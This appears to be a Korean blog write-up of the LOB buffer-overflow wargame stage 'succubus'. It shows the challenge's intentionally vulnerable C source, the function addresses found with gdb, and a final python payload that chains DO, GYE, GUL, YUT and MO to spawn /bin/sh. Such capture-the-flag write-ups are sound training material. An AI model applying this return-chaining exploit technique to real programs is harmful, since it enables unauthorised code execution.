[LOB] zombie_assassin -> succubus
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | /* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> // the inspector int check = 0; void MO(char *cmd) { if(check != 4) exit(0); printf("welcome to the MO!\n"); // olleh! system(cmd); } void YUT(void) { if(check != 3) exit(0); printf("welcome to the YUT!\n"); check = 4; } void GUL(void) { if(check != 2) exit(0); printf("welcome to the GUL!\n"); check = 3; } void GYE(void) { if(check != 1) exit(0); printf("welcome to the GYE!\n"); check = 2; } void DO(void) { printf("welcome to the DO!\n"); check = 1; } main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc < 2){ printf("argv error\n"); exit(0); } // you cannot use library if(strchr(argv[1], '\x40')){ printf("You cannot use library\n"); exit(0); } // check address addr = (char *)&DO; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with DO\n"); exit(0); } // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); } | cs |
시작
소스코드를 보자. 일단 라이브러리로 점프못하게 해놓았다. 그리고 버퍼와 SFP를 지우고
ret에서부터 100의 공간을 나둔후 전부 지워버린다. LD_PRELOAD도 지워버린다.
payload는 buffer(44) + &DO + &GYE + &GUL + &YUT + &MO + DUMMY + "/bin/sh"의 주소로 하면 될 것 같다.
일단 저 주소들을 다 구하자..
gdb를 통해 주소들을 다 구했다.
0x80487ec <DO>
0x80487bc <GYE>
0x804878c <GUL>
0x804875c <YUT>
0x8048724 <MO>
아마 여유공간에 "/bin/sh"문자열 등을 집어넣고 나중에 인자값으로 쓰란것같은데... 그냥 귀찮아서 system함수내에 있는 "/bin/sh"를 찾아서 쓰겠다.
"/bin/sh"의 주소
payload : buffer(44) + &DO + &GYE + &GUL + &YUT + &MO + DUMMY + &"/bin/sh"
아 소스코드를 제대로 안봤다;;
로 그냥 argv[1]안에 0x40이 못들어간다.
payload : buffer(44) + &DO + &GYE + &GUL + &YUT + &MO + DUMMY + &"/bin/sh"+"/bin/sh"+"\0"
이렇게하기로 했다.
payload : ./succubus `python -c 'print("A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x68\xfa\xff\xbf"+"/bin/sh"+"\x00")'`
클리어!!!
'Wargame > LOB' 카테고리의 다른 글
[LOB] nightmare -> xavius (0) | 2018.04.03 |
---|---|
[LOB] succubus -> nightmare (0) | 2018.04.03 |
[LOB] assassin -> zombie_assassin (0) | 2018.04.02 |
[LOB] giant -> assassin (0) | 2018.04.02 |
[LOB] bugbear -> giant (0) | 2018.04.02 |